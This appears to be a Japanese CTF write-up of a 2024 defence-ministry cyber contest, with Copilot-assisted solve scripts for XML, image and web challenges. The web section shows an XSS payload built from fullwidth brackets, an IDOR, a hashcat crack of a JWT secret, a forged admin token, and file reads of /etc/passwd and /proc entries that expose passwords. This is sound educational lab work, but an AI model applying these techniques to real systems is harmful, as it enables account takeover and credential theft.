5. cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む

以下が sweets.xml の冒頭部分です。

<?xml version='1.0' encoding='utf-8'?>
<sweets:orders xmlns:icecream="<http://xml.vlc-cybercontest.com/icecream>"
xmlns:candy="<http://xml.vlc-cybercontest.com/candy>"
xmlns:cookie="<http://xml.vlc-cybercontest.com/cookie>"
xmlns:sweets="<http://xml.vlc-cybercontest.com/sweets">>
<sweets:batch sweets:id="0x1E24A4AE">
<sweets:icecream icecream:id="0x9F78027" icecream:flavor="strawberry" icecream:amount="94.1164575g" icecream:shape="sphere" />
<sweets:icecream icecream:id="0xB9F4B823" icecream:flavor="strawberry" icecream:amount="91.8668061g" icecream:shape="sphere" />
<sweets:candy candy:id="0x8C55D4CE" candy:kind="coffee" candy:weight="3.9366492g" candy:shape="tetrahedron" />
<sweets:candy candy:id="0x9D8BBA94" candy:kind="soda" candy:weight="3.7906460g" candy:shape="octahedron" />
<sweets:candy candy:id="0xB81F4174" candy:kind="coffee" candy:weight="3.3636170g" candy:shape="sphere" />
<sweets:cookie cookie:id="0xFB7C6DE7" cookie:kind="checker" cookie:radius="3.2564663cm">flag{TkzPn3ZKL28zJXn7}</sweets:cookie>
<sweets:cookie cookie:id="0x26C3166A" cookie:kind="icing" cookie:radius="3.0929699cm">flag{MbfkAZTVpc6bMrz9}</sweets:cookie>
</sweets:batch>

割と良いコードを書いてくれたのだが、namespaceの部分が正しくなかったので手修正。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# import xml.etree.ElementTree as ET
import lxml.etree as ET

def parse_sweets(file):
tree = ET.parse(file)
root = tree.getroot()

max_radius = 0
max_cookie = None

for batch in root.findall(".//sweets:batch", root.nsmap):
icecreams = batch.findall(".//sweets:icecream", root.nsmap)
candies = batch.findall(".//sweets:candy", root.nsmap)
cookies = batch.findall(".//sweets:cookie", root.nsmap)

# 1. 少なくとも二つの子要素 sweets:icecream が含まれる
if len(icecreams) < 2:
continue

# 2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
if any(
float(
ic.get("{http://xml.vlc-cybercontest.com/icecream}amount").rstrip("g")
)
< 105
for ic in icecreams
):
continue

# 3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
if (
sum(
float(
c.get("{http://xml.vlc-cybercontest.com/candy}weight").rstrip("g")
)
for c in candies
)
< 28.0
):
continue

# 4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
if (
len(
set(
c.get("{http://xml.vlc-cybercontest.com/candy}shape")
for c in candies
)
)
< 5
):
continue

for cookie in cookies:
# 5. cookie:kind 属性が icing であり...
if cookie.get("{http://xml.vlc-cybercontest.com/cookie}kind") == "icing":
radius = float(
cookie.get("{http://xml.vlc-cybercontest.com/cookie}radius").rstrip(
"cm"
)
)
# かつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む
if radius >= 3.0:
[
print(ET.tostring(cookie, encoding="unicode"))
for cookie in cookies
]

parse_sweets("sweets.xml")

↓の実行結果を上から試すとフラグだった。

1
2
3
4
5
6
7
8
% python solve.py
<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0x6937BAA7" cookie:kind="languedechat" cookie:radius="3.1418079cm">flag{sZ8d5FbntXbL9uwP}</sweets:cookie>

<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0x19A83890" cookie:kind="checker" cookie:radius="3.0552874cm">flag{QxNFv5q9gtnvaXEc}</sweets:cookie>

<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0xB43E03AC" cookie:kind="icing" cookie:radius="3.1110701cm">flag{YXBbN3zpqxJy8CvA}</sweets:cookie>

<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0x9F045677" cookie:kind="checker" cookie:radius="3.0090029cm">flag{28j3vnedw7BELQxU}</sweets:cookie>

Twisted Text

Copilot〜〜〜

1
2
3
4
5
6
Twisted.png をピクセルごとに処理して、fixed-Twisted.png を作って保存してください。

ただし、 Twisted.png は、画像の中心からの距離 r [pixel] に対して

θ = - (r ^ 2) / (250 ^ 2) [rad]
だけ回転されています(反時計回りを正とします)。逆変換を施して fixed-Twsited.png を作ってください。

まあまあなコードを書いてくれたが、座標回転の式を間違えていたりした。修正したのが↓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from PIL import Image
import numpy as np

def rotate_image(image_path, output_path):
# 画像を開く
img = Image.open(image_path)
width, height = img.size
pixels = np.array(img)

# 新しい画像のピクセルを格納する配列を作成
new_pixels = np.zeros_like(pixels)

# 画像の中心を計算
center_x, center_y = width / 2, height / 2

# 各ピクセルに対して
for y in range(height):
for x in range(width):
# 中心からの距離を計算
dx, dy = x - center_x, y - center_y
r = np.sqrt(dx**2 + dy**2)

# 角度を計算
theta = -(r**2) / (250**2)

# 新しい位置を計算
new_x = center_x + (x - center_x) * np.cos(theta) - (y - center_y) * np.sin(theta)
new_y = center_y + (x - center_x) * np.sin(theta) + (y - center_y) * np.cos(theta)

# print(f"({x}, {y}) -> ({new_x}, {new_y})")

# 新しい位置が画像の範囲内にある場合、ピクセルを移動
if 0 <= new_x < width and 0 <= new_y < height:
new_pixels[int(new_y), int(new_x)] = pixels[y, x]

# 新しい画像を作成して保存
new_img = Image.fromarray(new_pixels)
new_img.save(output_path)

# 関数を呼び出す
rotate_image("Twisted.png", "fixed-Twisted.png")

出力画像は↓

Trivia

The Original Name of AES

CVE Record of Lowest Number

ググると、CVEは1999年から始まった模様。ということは CVE-1999-0001 かな?

https://nvd.nist.gov/vuln/detail/CVE-1999-0001

ありました。exploitがありそうなリンクを辿ると↓を発見。

https://ftp.openbsd.org/pub/OpenBSD/patches/2.3/common/tcpfix.patch

パッチ中のファイル名から、

MFA Factors

あーあれでしょ?あれあれ

  • 知識
  • 所有

なんかうろ覚え… ググって回答。

Web

Browsers Have Local Storage

/ から読まれているJSファイルにフラグあり。

Are You Introspective?

Burp Suite Certified Practitioner 資格の練習で死ぬほどやった。

Fuzz: Information disclosure / Access control / GraphQL (hidden api) / JWT / OAuth - Notion

ここのエンドポイント候補をBurp Intruderでバババと試すと、 /v1/graphql でいい感じのレスポンスが返ってくる。

ブラウザでアクセスすると、勝手にイントロスペクションクエリをPOSTで投げてくれる。GraphiQLのJSがやってくれてるのかな?

POSTのレスポンスにフラグが含まれている。

Insecure

まずは与えられた testUser でログイン。

ポチポチやって、プロフィールを表示。こんな感じのリクエスト→レスポンス。

無邪気に id=0 とやってRepeatすると、 profile_error.php にリダイレクトされてしまう。

(色々試行錯誤してふと気づく)これ、失敗はしても profile_success.php は裏側の処理で生成されているのでは?ユーザーごとにスコーピングしてないかも。と思い至る。

ビンゴ。

ボディの下の方にフラグがある(個人情報に見える文字列見えちゃうので上だけ切り出した)。

Variation (解けなかった 😭)

<> が消されてしまうので、JSを書ける文脈に持ち込めない。全角の など色々試すがうまくいかず。

防衛省サイバーコンテスト 2024 writeup - st98 の日記帳 - コピー

のwriteup見ると、UTF-8ということで3バイト総当たりしている。賢い…

が使える模様。

http://10.10.10.32/greet?name=﹤script﹥alert(1)﹤/script﹥

でフラグゲット。

Bruteforce

好きな問題。

:8000 の方はBasic認証の手がかりがないので、 :5000 の方をソースから見てみる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask
from flask import jsonify
from flask import request

from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager

app = Flask(__name__)

app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False

jwt = JWTManager(app)

@app.route("/login", methods=["POST"])
def login():
users = {}
users['test'] = 'test'
users['admin'] = '*************'
username = request.json.get("username", None)
print(username)
password = request.json.get("password", None)
print(password)
if (not username in users) or (password != users[username]):
return jsonify({"msg": "Bad username or password"}), 401

access_token = create_access_token(identity=username)
return jsonify(access_token=access_token)

@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
current_user = get_jwt_identity()
if current_user == "test" :
return "ummm...."
elif current_user == "admin" :
filepath = request.json.get("filepath",None)
f = open(filepath,'r')
filedata = f.read()
f.close()
return jsonify(filedata), 200

if __name__ == "__main__":
app.run(host="0.0.0.0")

JWT問題とわかる。とりえあず test:test でログインできそうなのでリクエスト。

JWTのアクセストークンがもらえた。これを Authorization ヘッダに使って /protected にアクセスしてみる。

ソースから期待されるように、 ummmm してもらった。

JWTの中身はこんな感じ。

[server] JWT attacks - Notion にまとめたいろいろな攻撃を試すが、問題タイトル的にも本命は Exploit: 秘密鍵にbrute force / 辞書攻撃 - Notion

先ほど得た test:test のJWTで秘密鍵を探す。

1
2
% hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0OTA1NSwianRpIjoiMGZkY2NlZjQtZmFmNi00ZjQ1LThiODgtNWU4Y2VhMWZhOTlkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.G5nYLH6uv37IdJRGw9FFrDBa_TBGliO4dlKsFvEVzcQ' /usr/share/wordlists/rockyou.txt --show
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0OTA1NSwianRpIjoiMGZkY2NlZjQtZmFmNi00ZjQ1LThiODgtNWU4Y2VhMWZhOTlkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.G5nYLH6uv37IdJRGw9FFrDBa_TBGliO4dlKsFvEVzcQ:conankun

conankun がキー

これ使って、 "sub"admin に変えたJWTを作って送信するも、500…


改めてコードを読むと、リクエストボディのJSONに filepath を指定しないと確かにサーバーエラーになりそう。

しかしフラグのpathがわからない。

一旦 {"filepath": "/etc/passwd"} とかにすると、ちゃんと中身がレスポンスされる。

ファイルreadからフラグパス情報収集となると、うーん /proc/self/ 使えるかなぁ。

/proc/self/cmdline から :5000 のサーバーのコードの場所がわかり、

それを読むことで本物の admin のパスワードが EyS9$Ww4nhx) であることが追加でわかったりしたが、特に正解に近づくものではなかった。

他のプロセスも見るかということで、 /proc/1/cmdline から眺める。

お、supervisord.confが気になる。

なんかパスワードある!これが :8000 のbasic認証のパスワードだった。Basic認証突破するとフラグがディレクトリ名になっていた。

author Sho Nakatani a.k.a. laysakura

JTCのプリンシパル・リサーチャーとして、セキュリティ・プライバシー・データ基盤に関する研究開発に従事。
CISSP/OSCP/BSCP/情報処理安全確保支援士(合格) 等の資格保有。CTF上位入賞多数。 セキュリティ関連の執筆・講演活動も行っている。
詳細プロフィール